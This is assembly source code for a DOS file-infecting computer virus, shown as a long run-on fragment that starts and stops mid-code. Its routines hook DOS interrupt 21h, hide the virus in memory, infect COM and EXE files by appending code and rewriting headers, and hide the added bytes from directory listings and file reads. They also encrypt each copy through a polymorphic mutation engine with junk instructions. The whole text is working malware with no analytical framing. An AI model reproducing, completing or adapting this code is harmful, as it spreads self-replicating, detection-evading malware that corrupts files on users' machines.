mov ah,34h int 21h dec bx mov ds:DosSDAofs[si],bx mov ds:DosSDAseg[si],es mov ah,52h int 21h mov ax,es cmp ax,ds:DosSDAseg[si] jne CannotInstall mov ax,es:[bx+4] mov ds:DosSFTofs[si],ax mov ax,es:[bx+6] mov ds:DosSFTseg[si],ax mov ax,es:[bx-2] mov ds:FirstMCB[si],ax sub ax,ds:DosSDAseg[si] mov cl,4 shl ax,cl xchg ax,cx xor di,di jmp short SearchOpcode CannotInstall: jmp ExecuteProg SearchHMA: or di,di je CannotInstall mov ax,-1 mov es,ax mov cx,-10h mov di,10h SearchOpcode: mov al,36h repne scasb jne SearchHMA cmp word ptr es:[di],16ffh jne SearchOpcode mov ax,es:[di+2] mov bx,351eh cmp ax,57ch je OpcodeFound mov bx,3b84h cmp ax,5eah jne SearchOpcode OpcodeFound: mov ds:JumpVar[si],ax mov ds:DosSFTsize[si],bh mov ds:StackPtr[si],bl mov ds:PatchOffset[si],di mov ds:PatchSegment[si],es mov al,0cbh repne scasb jne CannotInstall dec di mov ds:ReturnOpcodeOfs[si],di mov ds:ReturnOpcodeSeg[si],es mov ax,ds:FirstMCB[si] xor bx,bx dec dx SearchBlock: mov ds,ax cmp word ptr ds:[bx+1],bx jne NotFree cmp word ptr ds:[bx+3],(MemorySize + 0fh) / 10h jb NotFree mov dx,ax NotFree: inc ax add ax,ds:[bx+3] cmp byte ptr ds:[bx],"M" je SearchBlock mov ds,dx mov cx,(MemorySize + 0fh) / 10h add dx,ds:[bx+3] sub dx,cx cmp bx,ds:[bx+1] je FreeBlock sbb ds:[bx+3],cx mov al,"M" xchg al,ds:[bx] mov ds,dx mov ds:[bx],al mov ds:[bx+1],bx mov ds:[bx+3],cx FreeBlock: inc dx mov es,dx push cs pop ds std mov ax,-1 mov ds:LastPSP[si],ax mov ds:NewCodeSegment[si],dx cli mov cx,(MemoryEnd - VirusEnd) mov di,offset MemoryEnd - VirusTop - 1 rep stosb mov cx,(VirusEnd - VirusTop) add si,offset VirusEnd - VirusTop - 1 rep movsb jmp GotoNewCS ;*****************************************************************************; ; ; ; New dos entry point ; ; ; ;*****************************************************************************; dbw macro bval, wval db bval dw wval - VirusTop endm Functions equ byte ptr [$ - VirusTop] dbw 11h, FindFCB dbw 12h, FindFCB dbw 3ch, CheckFileTable dbw 3dh, Open dbw 3fh, Read dbw 40h, Write dbw 42h, Seek dbw 45h, CheckFileTable dbw 48h, ShowBlock dbw 4ah, ShowBlock dbw 4bh, ShowBlock dbw 4eh, FindFile dbw 4fh, FindFile dbw 5ah, CheckFileTable dbw 5bh, CheckFileTable dbw 6ch, ExtOpen LastFunction equ byte ptr [$ - VirusTop] dbw -1h, DoNothing Dos: pop cs:DosMainOfs pop cs:DosMainSeg push bx push ds push cs pop ds mov bx,offset Functions - 3 NextFunction: add bx,3 cmp ah,[bx] je RightFunction ja NextFunction mov bx,offset LastFunction RightFunction: push bp mov bp,sp mov bx,[bx+1] xchg bx,[bp+4] pop bp push es push ax push bx push cx push dx push si push di mov ax,ss:[1234h] JumpVar equ word ptr [$ - VirusTop - 2] mov cs:DosFunctionOfs,ax mov ax,cs:DosMainSeg mov cs:DosFunctionSeg,ax call GetPSP cmp word ptr ds:[0],20cdh jne IllegalPSP mov ax,ds cmp ax,0c000h jae IllegalPSP cmp ax,1234h LastPSP equ word ptr [$ - VirusTop - 2] jne OtherPSP IllegalPSP: jmp SamePSP OtherPSP: push cs pop ds push cs pop es mov ds:LastPSP,ax cld mov bx,-1 mov cx,8 mov di,offset StealthNames - 8 NextPSP: add di,8 scasw ja DoNotClear mov ds:[di-2],bx DoNotClear: loop NextPSP mov cl,7 mov di,offset StealthNames - 10 FindEmptyName: add di,10 cmp ds:[di],bx je EmptyName cmp ds:[di],ax loopne FindEmptyName EmptyName: stosw mov si,di dec ax cmp ds:DosSFTsize,35h mov ds,ax je DosVersion3 mov di,8 jmp BeginOfName DosVersion3: mov es,ds:[3ch] push es pop ds xor ax,ax mov ch,-1 xor di,di NotEnd: repne scasb scasb jne NotEnd inc di inc di mov bx,di repne scasb NextPathChar: mov al,ds:[di-2] dec di cmp al,"\" je BeginOfName cmp al,":" je BeginOfName cmp di,bx ja NextPathChar BeginOfName: push cs pop es mov cx,8 xchg si,di NextNameChar: lodsb cmp al,"." je BlankIt cmp al," " jbe BlankIt stosb loop NextNameChar BlankIt: mov al," " rep stosb SamePSP: call FindMCB jne Hide_4 cmp ds:[bx+1],bx je Hide_1 mov dx,ax Hide_1: push dx mov ds,ax mov ds:[bx+1],bx mov cx,-1 mov ds,dx Hide_2: mov ax,ds:[bx+3] inc ax add cx,ax add dx,ax mov al,ds:[bx] cmp al,"M" jne Hide_3 mov ds,dx cmp ds:[bx+1],bx je Hide_2 Hide_3: pop ds mov ds:[bx],al mov ds:[bx+3],cx Hide_4: pop di pop si pop dx pop cx pop bx pop ax pop es pop ds ret ;*****************************************************************************; ; ; ; Show memory block to prevent overwriting by another program ; ; ; ;*****************************************************************************; ShowBlock: push ax push bx push cx push dx push ds Show_1: call FindMCB je Show_2 mov ax,cx sub cx,dx mov dx,ds:[bx+3] sub dx,cx dec cx call SetMCB Show_2: mov ds,ax mov ds:[bx+1],cs mov cx,(MemorySize + 0fh) / 10h mov dx,ds:[bx+3] sub dx,cx jbe Show_3 call SetMCB Show_3: pop ds pop dx pop cx pop bx pop ax jmp DoNothing ;*****************************************************************************; ; ; ; Directory search ; ; ; ;*****************************************************************************; CheckExtension: xor ax,ax mov ch,-1 cld repne scasb CheckExt: mov ax,es:[di-4] or ax,2020h cmp ax,"xe" je CheckLastChar cmp ax,"oc" jne NotExecFile mov al,"m" CheckLastChar: mov ah,es:[di-2] or ah,20h cmp ah,al NotExecFile: ret FindFile: call DosCall jc FindFailed push ax call GetDTA push di add di,1eh call CheckExtension pop di jne WrongFile RightFile: mov ax,0ddh sub al,es:[di+1ah] jz WrongFile sub al,(VirusSize + 20h) and 0ffh add ax,(VirusSize + 20h) add word ptr es:[di+1ah],ax adc word ptr es:[di+1ch],0 WrongFile: pop ax FindFailed: jmp DosMain FindFCB: call DosCall cmp al,0 jne FindFailed push ax call GetDTA cmp byte ptr es:[di],-1 jne NotExtendedFCB add di,7 NotExtendedFCB: add di,0dh call CheckExt jne WrongFile sub di,0ah jmp RightFile ;*****************************************************************************; ; ; ; Seeking to the end of a mirrored file ; ; ; ;*****************************************************************************; Seek: cmp al,2 jne DoSeek call FindHandle jnz DoSeek test byte ptr cs:[si+6],80h mov si,cs:TotalSize jnz SeekStealth SeekMirror: add dx,si adc cx,0 jmp short DoSeek SeekStealth: sub dx,si sbb cx,0 DoSeek: jmp DoNothing ;*****************************************************************************; ; ; ; Routines to call the orginal dos code ; ; ; ;*****************************************************************************; StackFrame: db 36h,0c5h,36h,?,5 StackPtr equ byte ptr [$ - VirusTop - 2] ret WriteCall: push ax mov ax,cs:WriteFunction jmp short ReadWriteCall ReadCall: push ax mov ax,cs:ReadFunction ReadWriteCall: mov cs:DosFunctionOfs,ax pop ax DosCall: push cs call JumpToFunction mov ah,ds:[si+22] sahf mov ah,ds:[si+1] mov bx,ds:[si+2] mov cx,ds:[si+4] mov dx,ds:[si+6] ret DosMain: db 0eah dd ? DosMainOfs equ word ptr [$ - VirusTop - 4] DosMainSeg equ word ptr [$ - VirusTop - 2] JumpToFunction: push ax push cx push bp mov bp,sp mov ax,1234h ReturnOpcodeSeg equ word ptr [$ - VirusTop - 2] sub ax,cs:DosFunctionSeg mov cl,4 shl ax,cl add ax,1234h ReturnOpcodeOfs equ word ptr [$ - VirusTop - 2] xchg ax,ss:[bp+4] pop bp pop cx jmp short DosFunction DoNothing: push cs:DosMainOfs DosFunction: db 0eah dw ?,?,0a839h,0a89fh DosFunctionOfs equ word ptr [$ - VirusTop - 8] DosFunctionSeg equ word ptr [$ - VirusTop - 6] ReadFunction equ word ptr [$ - VirusTop - 4] WriteFunction equ word ptr [$ - VirusTop - 2] ;*****************************************************************************; ; ; ; Opening a mirrored file ; ; ; ;*****************************************************************************; ChkHandles: push ax push bx push cx push si push ds mov bx,offset FileTable mov cx,MaxFiles ChkNextHandle: cmp word ptr cs:[bx],-1 je ChkHandleOk mov ax,cs:[bx] call FindSFT cmp word ptr ds:[si],0 jne ChkHandleOk mov word ptr cs:[bx],-1 ChkHandleOk: add bx,FileTableEntry loop ChkNextHandle pop ds pop si pop cx pop bx pop ax ret CheckFileTable: call ChkHandles jmp DoNothing ExtOpen: call ChkHandles or al,al jnz DoNothing call DosCall jc DosMain cmp cl,1 jne DosMain jmp OpenOk Open: call ChkHandles call DosCall jc DosMain OpenOk: push ds:[si+22] push ax xchg ax,bx call GetSFTindex call FindSFT test byte ptr ds:[si+5],80h jnz NotExecutable push ds pop es lea di,[si+2ch] call CheckExt NotExecutable: jz Executable jmp DoNotInfect Executable: pop bx mov cx,HeaderLength mov dx,offset Header push cs pop ds push bx call ReadCall call LastSFT mov byte ptr ds:[si+15h],3ch pop bx mov cx,4 mov dx,offset NewExeOfs push cs pop ds push bx call ReadCall call LastSFT mov ax,ds:[si+11h] mov cs:FileSizeL,ax mov ax,ds:[si+13h] mov cs:FileSizeH,ax push cs pop es mov cx,8 mov di,offset StealthNames - 8 cld NextName: jcxz NotStealth mov ax,-1 dec cx add di,8 scasw je NextName push cx push si push di mov cx,8 add si,20h repe cmpsb pop di pop si pop cx jne NextName jmp short StealthMode NotStealth: cmp byte ptr ds:[si+11h],0ddh je DoNotInfect call CalcImageSize cmp ds:[si+13h],dx jb DoNotInfect ja FileSizeOk cmp ds:[si+11h],ax jb DoNotInfect FileSizeOk: call CalcImageSize mov dx,0 mov si,offset Header jc StoreFileInfo push cs pop ds cmp ds:RelocationOfs,40h jb StoreFileInfo cmp ds:NewExeOfsL,dx jne DoNotInfect cmp ds:NewExeOfsH,dx jne DoNotInfect StoreFileInfo: push si mov bx,-1 call FindHandle mov bx,si pop si jne DoNotInfect push cs pop ds mov ds:[bx],1234h LastSFTindex equ word ptr [$ - VirusTop - 2] mov ax,ds:FileSizeL mov ds:[bx+2],ax mov ax,ds:FileSizeH mov ds:[bx+4],ax mov ds:[bx+6],dl mov cx,HeaderLength lea di,[bx+7] cld rep movsb DoNotInfect: xor ax,ax call LastSFT mov ds:[si+15h],ax mov ds:[si+17h],ax call StackFrame pop ax mov ds:[si],ax pop ds:[si+22] jmp DosMain StealthMode: cmp byte ptr ds:[si+11h],0ddh jne DoNotInfect call CalcImageSize mov cx,cs:Signature sub ax,cx sbb dx,0 mov ds:[si+15h],ax mov ds:[si+17h],dx push cs pop ds sub ds:FileSizeL,cx sbb ds:FileSizeH,0 cmp dx,10h jae DoNotInfect call SplitImageSize call CalcImageSize mov cx,10h div cx sub dx,ds:ExeIP jne DoNotInfect sub ax,ds:HeaderSize sub ax,ds:ExeCS jne DoNotInfect pop bx push bx call ReadVirus jne DoNotInfect mov dl,85h lea si,ds:[di+Header-VirusID-20h] jmp StoreFileInfo GetSFTindex: push si push ds call GetPSP lea ax,[bx+1] cmp ds:[32h],ax jb InvalidHandle lds si,ds:[34h] mov al,ds:[bx+si] sub ah,ah mov cs:LastSFTindex,ax InvalidHandle: pop ds pop si ret FindSFT: mov si,1234h DosSFTseg equ word ptr [$ - VirusTop - 2] mov ds,si mov si,1234h DosSFTofs equ word ptr [$ - VirusTop - 2] NextSFT: cmp ax,ds:[si+4] jb RightSFT sub ax,ds:[si+4] lds si,ds:[si] jmp short NextSFT RightSFT: mov ah,12h DosSFTsize equ byte ptr [$ - VirusTop - 1] mul ah add si,ax add si,6 mov cs:LastSFTofs,si mov cs:LastSFTseg,ds LastSFT: mov si,1234h LastSFTseg equ word ptr [$ - VirusTop - 2] mov ds,si mov si,1234h LastSFTofs equ word ptr [$ - VirusTop - 2] ret GetDTA: call DosSDA les di,ds:[si+0ch] DosSDA: mov si,1234h DosSDAseg equ word ptr [$ - VirusTop - 2] mov ds,si mov si,1234h DosSDAofs equ word ptr [$ - VirusTop - 2] ret GetPSP: call DosSDA mov ds,ds:[si+10h] ret ;*****************************************************************************; ; ; ; Reading from and writing to a mirrored file ; ; ; ;*****************************************************************************; Read: cmp dx,-1 jne NotInfectCmd or cx,cx jne NotInfectCmd call FindHandle jnz AbortAction call InfectFile jmp short AbortAction NotInfectCmd: push ax mov ax,cs:DosFunctionOfs mov cs:ReadFunction,ax call FindHandle jnz RdOtherHandle mov ah,40h or ah,cs:[si+6] or byte ptr cs:[si+6],1 sahf RdOtherHandle: pop ax jnz OtherHandle jns _ReadMirror jmp ReadStealth Write: push ax mov ax,cs:DosFunctionOfs mov cs:WriteFunction,ax call FindHandle jnz WrOtherHandle mov ah,40h or ah,cs:[si+6] or byte ptr cs:[si+6],4 sahf WrOtherHandle: pop ax jnz OtherHandle js _WriteStealth jp RemoveHandle jc WriteMirror call InfectFile jc WriteMirror RemoveHandle: call FindHandle mov word ptr cs:[si],-1 ActionOk: jmp DoNothing OtherHandle: cmp bx,2 jae ActionOk cmp dx,-1 jne ActionOk AbortAction: jmp DosMain _WriteStealth: jmp WriteStealth _ReadMirror: jmp ReadMirror _Truncate: jmp Truncate IllegalWrite: mov ax,5 call DosSDA mov word ptr ds:[si+2],1ffh mov word ptr ds:[si+4],ax mov word ptr ds:[si+6],307h call StackFrame mov ds:[si],ax or ds:[si+22],al jmp DosMain WriteMirror: call SplitCount jcxz _Truncate call CompareHeaders jne IllegalWrite call CompareViruses jne IllegalWrite call FindHandle ReadMirror: call SplitCount push ds mov ax,1234h VirusOffset equ word ptr [$ - VirusTop - 2] call LastSFT sub word ptr ds:[si+15h],ax sbb word ptr ds:[si+17h],0 pop ds xor ax,ax sub cx,cs:VirusCount jcxz ReadZero call DosCall ReadZero: pushf push ax push cs pop ds mov ax,ds:VirusCount add ax,ds:VirusOffset call LastSFT add word ptr ds:[si+15h],ax adc word ptr ds:[si+17h],0 pop ax popf jc ReadError add ax,cs:VirusCount push ax call StackFrame xchg ax,cx mov ds:[si],cx mov bx,ds:[si+6] mov es,ds:[si+14] mov ds,ds:[si+14] call SplitCount mov di,1234h VirusCount equ word ptr [$ - VirusTop - 2] or di,di jz NewHeader call Mutate mov cx,1234h OverlayCount equ word ptr [$ - VirusTop - 2] mov si,1234h ImageCount equ word ptr [$ - VirusTop - 2] add si,bx push si push di jcxz DoNotMove dec si add si,cx add di,si std rep movsb DoNotMove: push cs pop ds pop cx pop di mov si,offset Buffer add si,ds:VirusOffset cld rep movsb NewHeader: mov cx,ds:HeaderCount jcxz ReadError call UpdateHeader mov cx,ds:HeaderCount mov si,ds:SFT_FilePosL lea di,[bx+si] add si,offset Header cld rep movsb ReadError: pop ax jmp DosMain Truncate: push ds call LastSFT mov ax,cs:VirusOffset sub ds:[si+15h],ax sbb word ptr ds:[si+17h],0 pop ds call DosCall pushf push ax push ds:[si+2] call LastSFT mov ax,cs:VirusOffset add word ptr ds:[si+15h],ax adc word ptr ds:[si+17h],0 pop bx pop ax popf jc TruncateEnd call FindHandle mov word ptr cs:[si],-1 TruncateEnd: jmp DosMain WriteStealth: call SplitCount neg cs:VirusOffset jcxz Truncate call ChangeHeader ReadStealth: call SplitCount push ds mov cx,cs:HeaderCount call LastSFT add word ptr ds:[si+15h],cx adc word ptr ds:[si+17h],0 pop ds push dx push ds add dx,cx neg cx add cx,cs:ImageCount jcxz FirstCntZero call DosCall FirstCntZero: call LastSFT add word ptr ds:[si+15h],1234 TotalSize equ word ptr [$ - VirusTop - 2] adc word ptr ds:[si+17h],0 pop ds pop dx push dx push ds xor ax,ax mov cx,1234h StealthCount equ word ptr [$ - VirusTop - 2] add dx,cs:ImageCount jcxz SecondCntZero call DosCall SecondCntZero: call LastSFT mov cx,cs:TotalSize sub word ptr ds:[si+15h],cx sbb word ptr ds:[si+17h],0 push cs pop ds pop es pop di add ax,ds:ImageCount mov cx,ds:HeaderCount jcxz EndOfRead mov si,offset Header add si,ds:SFT_FilePosL cld rep movsb EndOfRead: call StackFrame mov ds:[si],ax jmp DosMain CompareHeaders: push cx mov cx,cs:HeaderCount jcxz NoHeaderWrite push si push di push es push dx push ds call UpdateHeader pop ds pop dx push cs pop es mov cx,1234h HeaderCount equ word ptr [$ - VirusTop - 2] mov si,dx mov di,offset Header cld repe cmpsb pop es pop di pop si NoHeaderWrite: pop cx ret CompareViruses: push cx mov cx,cs:VirusCount jcxz NoVirusWrite push cx push si push dx call Mutate pop dx push di push es push cs pop es mov cx,cs:VirusCount mov si,dx add si,cs:ImageCount mov di,offset Buffer add di,cs:VirusOffset push si cld repe cmpsb mov si,di pop di jne DoNotRemove push ds pop es mov cx,cs:OverlayCount rep movsb DoNotRemove: pop es pop di pop si NoVirusWrite: pop cx ret SplitCount: push ax push bx push cx push dx push si push di push ds push cs pop ds mov ax,HeaderLength cwd mov si,ds:SFT_FilePosL mov di,ds:SFT_FilePosH call CalcCounter add cx,bx sub si,bx mov ds:HeaderCount,bx push cx call CalcImageSize pop cx xor bx,bx sub si,ax sbb di,dx jb VirusOfsOk mov bx,ds:TotalSize ja VirusOfsOk cmp si,bx ja VirusOfsOk mov bx,si VirusOfsOk: mov ds:VirusOffset,bx add si,ax adc di,dx call CalcCounter mov ds:ImageCount,bx cmp ds:HeaderCount,bx jbe HeaderCountOk mov ds:HeaderCount,bx HeaderCountOk: add ax,ds:TotalSize add dx,0 call CalcCounter mov ds:VirusCount,bx mov ds:OverlayCount,cx add cx,bx mov ds:StealthCount,cx pop ds pop di pop si pop dx pop cx pop bx pop ax ret CalcCounter: push ax push dx xor bx,bx sub ax,si sbb dx,di jb CounterOk mov bx,cx jne CounterOk cmp ax,cx jae CounterOk xchg ax,bx CounterOk: sub cx,bx add si,bx adc di,0 pop dx pop ax ret ChangeHeader: cmp cs:HeaderCount,0 je NoHeaderChange push ax push bx push cx push si push di push es push dx push ds call CalcImageSize call LastSFT mov ds:[si+15h],ax mov ds:[si+17h],dx call ReadVirus jne WriteError mov cx,ds:HeaderCount mov di,offset Buffer + Header add di,ds:DecryptorSize add di,ds:SFT_FilePosL pop ds pop si push si push ds cld rep movsb and cs:MutationFlags,07fh call Mutate call CalcImageSize call LastSFT mov ds:[si+15h],ax mov ds:[si+17h],dx push cs pop ds mov cx,ds:TotalSize mov dx,offset Buffer call DosCall WriteError: call LastSFT mov ax,cs:SFT_FilePosL mov word ptr ds:[si+15h],ax mov ax,cs:SFT_FilePosH mov word ptr ds:[si+17h],ax pop ds pop dx pop es pop di pop si pop cx pop bx pop ax NoHeaderChange: ret ReadVirus: call MutationParms push cs:DosFunctionOfs call StackFrame push ds:[si] push ds:[si+22] push cs pop ds mov cx,ds:TotalSize mov dx,offset Buffer call ReadCall pop ds:[si+22] pop ds:[si] push cs pop ds pop ds:DosFunctionOfs or ds:MutationFlags,80h call Mutate push cs pop es mov cx,20h mov si,offset VirusID mov di,offset Buffer + VirusID add di,ds:DecryptorSize cld repe cmpsb ret ;*****************************************************************************; ; ; ; Write the virus to an existing file ; ; ; ;*****************************************************************************; Fail: mov al,3 iret InfectFile: push cs:DosFunctionOfs push ax push cx push dx push si push ds xor ax,ax mov ds,ax mov ax,offset Fail - VirusTop xchg ax,ds:[90h] push ax mov ax,cs xchg ax,ds:[92h] push ax push ds push cs pop ds mov ax,ds:SFT_FileSizeL cmp al,0ddh stc je InfectError mov ds:FileSizeL,ax mov ax,ds:SFT_FileSizeH mov ds:FileSizeH,ax call CalcImageSize sub ax,ds:SFT_FileSizeL sbb dx,ds:SFT_FileSizeH jc InfectError call Mutate call LastSFT and byte ptr ds:[si+2],0feh or byte ptr ds:[si+2],2 and byte ptr ds:[si+4],3ah mov ax,ds:[si+11h] mov ds:[si+15h],ax mov ax,ds:[si+13h] mov ds:[si+17h],ax push cs pop ds mov cx,cs:TotalSize mov dx,offset Buffer call WriteCall jc InfectError call LastSFT xor ax,ax mov ds:[si+15h],ax mov ds:[si+17h],ax call UpdateHeader mov cx,HeaderLength mov dx,offset Header call WriteCall InfectError: call LastSFT mov ax,cs:SFT_OpenMode mov ds:[si+2],ax mov al,cs:SFT_Attribute mov byte ptr ds:[si+4],al mov ax,cs:SFT_DeviceInfo mov ds:[si+6],ah mov ax,cs:SFT_FilePosL mov ds:[si+17h],ax mov ax,cs:SFT_FilePosH mov ds:[si+19h],ax pop ds pop word ptr ds:[92h] pop word ptr ds:[90h] pop ds pop si pop dx pop cx pop ax pop cs:DosFunctionOfs ret ;*****************************************************************************; ; ; ; Library used by all parts of the virus ; ; ; ;*****************************************************************************; UpdateHeader: push cs pop ds call CalcImageSize mov cx,10h cmp dx,cx jae HeaderOk div cx sub ax,ds:HeaderSize mov ds:ExeCS,ax mov ds:ExeIP,dx mov dx,ds:TotalSize mov ds:Signature,dx mov cl,4 shr dx,cl inc dx add ax,dx mov ds:ExeSS,ax mov ds:ExeSP,400h call CalcImageSize add ax,ds:TotalSize adc dx,0 call SplitImageSize mov ax,(MemorySize - VirusSize + 3fh) / 10h add ax,ds:MinMem mov ds:MinMem,ax cmp ds:MaxMem,ax jae ComFileHeader mov ds:MaxMem,ax ComFileHeader: call CalcImageSize jnc HeaderOk sub ax,3 mov ds:JumpOpcode,0e9h mov ds:JumpDisp,ax HeaderOk: ret SplitImageSize: mov cx,200h and dx,0fh div cx mov ds:PartPage,dx add dx,-1 adc ax,0 mov ds:PageCount,ax ret FindHandle: push ax push cx push ds push cs pop ds mov ax,bx cmp bx,-1 je EmptyHandle call GetSFTindex jc HandleNotFound EmptyHandle: mov cx,MaxFiles mov si,offset FileTable - FileTableEntry NextHandle: add si,FileTableEntry cmp ds:[si],ax loopne NextHandle pushf jne SpeedUp cmp ax,-1 je SpeedUp push dx push si push di push es push cs pop es cld lodsw push ax lodsw mov ds:FileSizeL,ax lodsw mov ds:FileSizeH,ax inc si mov di,offset Header rep movsb pop ax call FindSFT mov cx,19h mov di,offset SFT_Entry rep movsb pop es pop di call MutationParms pop si pop dx SpeedUp: popf HandleNotFound: pop ds pop cx pop ax ret MutationParms: push cs pop ds mov ax,ds:FileSizeL mov cx,ax add cx,ds:FileSizeH mov ds:Randomize,cx mov cx,VirusSize + 20h add al,cl neg al add al,0ddh xor ah,ah add cx,ax mov ds:TotalSize,cx and al,3fh add al,20h sub cx,ax mov ds:CodeSize,cx mov ds:DecryptorSize,ax call CalcImageSize jnc ExeOffset add ax,100h mov dx,300h + ComID jmp SetOffset ExeOffset: and ax,00fh mov dx,000h + ExeID SetOffset: mov ds:DecryptorOfs,ax mov ds:ComExe,dl mov ds:MutationFlags,dh ret CalcImageSize: cmp cs:Header,"MZ" je ExeFileHeader cmp cs:Header,"ZM" je ExeFileHeader mov ax,1234h FileSizeL equ word ptr [$ - VirusTop - 2] mov dx,1234h FileSizeH equ word ptr [$ - VirusTop - 2] stc ret ExeFileHeader: mov ax,cs:PageCount mov cx,cs:PartPage jcxz ExactPage dec ax ExactPage: mov dx,200h mul dx add ax,cx clc ret SetMCB: mov ds:[bx+3],cx mov cl,"M" xchg cl,ds:[bx] mov ds,ax mov ds:[bx],cl mov ds:[bx+1],bx mov ds:[bx+3],dx ret FindMCB: mov ax,1234h FirstMCB equ word ptr [$ - VirusTop - 2] xor bx,bx mov cx,cs dec cx FindNext: mov ds,ax mov dx,ax inc ax add ax,ds:[bx+3] cmp ax,cx jb FindNext ret ;*****************************************************************************; ; ; ; Mutation engine ; ; ; ;*****************************************************************************; ; ; ; Entry: Randomize = Random Number ; ; DecryptorOfs = Decryptor offset (Not needed for decryption) ; ; CodeSize = Code size ; ; MutationFlags = bit 0: assume decryptor ds=cs (com-files) ; ; bit 1: assume decryptor ss=cs (com-files) ; ; bit 7: decrypt mutated virus (stealth) ; ; DecryptorSize = Decryptor size ; ; ; ; cs:[VirusTop] = Code (Not needed for decryption) ; ; cs:[Buffer] = Buffer (Mutated virus) ; ; ; ;*****************************************************************************; Mutate: push bx push di push ds push es push cs pop es push cs pop ds mov cx,1234h CodeSize equ word ptr [$ - VirusTop - 2] mov di,offset Buffer push cx ; save cx for later use. call InitMutate ; generate decryptor pop cx ; restore cx test ds:MutationFlags,80h ; 0=encryption, 80h=decryption jnz EncryptDecrypt xor si,si cld ; copy the code that must be rep movsb ; encrypted Param1 equ word ptr [$ - VirusTop + 1] Param2 equ word ptr [$ - VirusTop + 4] Param3 equ word ptr [$ - VirusTop + 0ah] Param4 equ word ptr [$ - VirusTop + 13h] Param5 equ word ptr [$ - VirusTop + 17h] EncryptOpcode equ byte ptr [$ - VirusTop + 10h] CompareOpcode equ byte ptr [$ - VirusTop + 15h] ConditionOpcode equ byte ptr [$ - VirusTop + 19h] AddOpcode equ byte ptr [$ - VirusTop + 0eh] EncryptDecrypt: mov bx,1234h ; 0000 BB ?? ?? mov ax,1234h ; 0003 B8 ?? ?? Repeat: mov dx,bx ; 0006 89 DA add bx,1234h ; 0008 81 C3 ?? ?? mov cx,ax ; 000C 89 C1 add ax,bx ; 000E 01 D8 add cs:[bx+1234h],bl ; 0010 2E 00 9F ?? ?? sub bx,1234h ; 0015 81 EB ?? ?? jnz Repeat ; 0019 75 EF pop es pop ds pop di pop bx MutationDone: ret JumpTable equ word ptr [$ - VirusTop] dw InitReg - VirusTop ; 3 bytes ; 1 cl&02 dw SetDestenation - VirusTop ; 0 bytes ; 2 cl&03 dw IncReg - VirusTop ; 4 bytes ; 3 cl&08 dw MoveIndex - VirusTop ; 2 bytes ; 4 cl&10 dw Memory - VirusTop ; 5 bytes ; 5 cl&20 dw Compare - VirusTop ; 6 bytes ; 6 cl&40 dw PrefetchFix - VirusTop ; 2 bytes ; 7 cl&80 TrashTable equ word ptr [$ - VirusTop] dw IncDecTrash - VirusTop ; 1 byte ; 1 dw ZeroReg - VirusTop ; 2 bytes ; 2 dw JumpTrash - VirusTop ; 2 bytes ; 3 dw InitTrash - VirusTop ; 3 bytes ; 4 dw AddSubTrash - VirusTop ; 4 bytes ; 5 dw MemoryTrash - VirusTop ; 5 bytes ; 6 dw MoveTrash - VirusTop ; 2 bytes ; 7 OpcodeTable equ byte ptr [$ - VirusTop] db 00h,28h,30h,30h db 79h,78h,75h,75h MoveIndex: xor cl,30h sub ch,2 Registers equ word ptr [$ - VirusTop + 1] IndexReg equ byte ptr [$ - VirusTop + 1] CounterReg equ byte ptr [$ - VirusTop + 2] db 0bbh,?,? push cx xchg ax,cx mov cx,0c089h cmp bl,bh jne MakeMove mov ds:FlagsOk,0ebh CryptReg equ byte ptr [$ - VirusTop + 1] db 0b3h,? test al,08h mov al,0d8h jz SetAddOpcode mov al,0d0h SetAddOpcode: mov ds:AddOpcode[1],al call Random push bx and ax,3 xchg ax,bx mov al,OpcodeTable[bx] mov ah,0c0h inc ax pop bx mov ds:AddOpcode,al xchg ax,cx MakeMove: call Random and al,2 jnz DirectionOk xchg bl,bh DirectionOk: rol bl,1 rol bl,1 rol bl,1 mov ah,bl or ah,bh or ax,cx stosw pop cx ret db 2 MoveTrash: push cx call RandomRegFF and ax,0707h xchg ax,bx mov cx,0c089h jmp MakeMove InitMutate: mov ds:Reserved,11h call Random call ResetRegZero push ax mov bx,1234h DecryptorOfs equ word ptr [$ - VirusTop - 2] mov si,1234h DecryptorSize equ word ptr [$ - VirusTop - 2] add bx,si add si,di mov dx,bx mov ds:Param3,1 mov ds:Param4,si mov ds:Param5,ax call Random and ax,3 mov bx,8000h mov ds:JumpType,al dec ax js Ok xchg ax,bx mov ax,7fffh je Ok xor ax,ax xor bx,bx Ok: push ax call Random pop ax jpe Increase add ax,cx add dx,cx neg ds:Param3 add ds:Param4,cx mov cx,1903h jmp Decrease Increase: xchg ax,bx sub ax,cx mov cx,1703h Decrease: mov ds:Param1,ax call Random and al,10h or al,0ebh mov ds:CmpSub,al mov ds:CompareOpcode[1],al test al,10h pop ax jnz UseCompare add ds:Param3,ax jmp Skip UseCompare: add ds:Param1,ax Skip: mov ax,ds:Param1 sub dx,ax add ax,ds:Param3 sub ds:Param4,ax Again: mov bx,offset JumpTable - 2 cld call Choose call bx or cl,cl jne Again ret Choose: call Random and ax,300h push cx ChooseNext: inc ax ror cl,1 sbb ah,0 jae ChooseNext pop cx dec ax and ax,7 jz Trash or cl,1 add bx,ax add bx,ax mov bx,ds:[bx] ret Trash: inc bx mov ax,si sub ax,di jbe Ready sub al,ch ja NotReady Ready: and cl,0feh ret NotReady: push bx push cx push ds:Randomize mov bx,offset TrashTable - 2 mov cl,11111110b mov ch,al call Choose cmp ch,ds:[bx-1] jae SizeOk mov bx,offset IncDecTrashAbs SizeOk: call bx pop ds:Randomize pop cx pop bx ret db 3 InitTrash: call RandomRegFF or al,0b8h StoreRandom: stosb call RealRandom stosw ret InitReg: xor cl,06h sub ch,6 push cx mov ch,00001111b call RandomReg mov ds:CounterReg,al mov ds:CryptReg,al push ax or al,0b8h stosb mov ax,ds:Param1 stosw pop ax mov bx,cx cmp al,3 je IndexRegOk GetIndexReg: mov ch,11101000b call RandomReg IndexRegOk: mov ds:IndexReg,al or ds:Reserved,cl cmp al,ds:CounterReg jne NoCryptReg mov ch,00001111b call RandomReg mov ds:CryptReg,al or al,0b8h stosb call Random mov ds:Param2,ax stosw or bl,cl NoCryptReg: or ds:Reserved,bl pop cx ret SetDestenation: xor cl,1ch sub ch,2 mov ds:JumpDestenation,di ResetRegZero: mov ds:RegZero,0ffh jmp ResetFlagsOk db 1 IncDecTrashAbs equ byte ptr [$ - VirusTop] IncDecTrash: call RandomRegFF and ah,8 or al,ah or al,40h Compress1: stosb jmp ResetFlagsOk db 2 FlagsOk equ byte ptr [$ - VirusTop] JumpTrash: jb IncDecTrash call RealRandom mov al,75h jpe StoreJump mov al,78h StoreJump: stosw ret Memory: xor cl,20h sub ch,5 mov al,ds:IndexReg sub al,5 ja RegOk1 mov 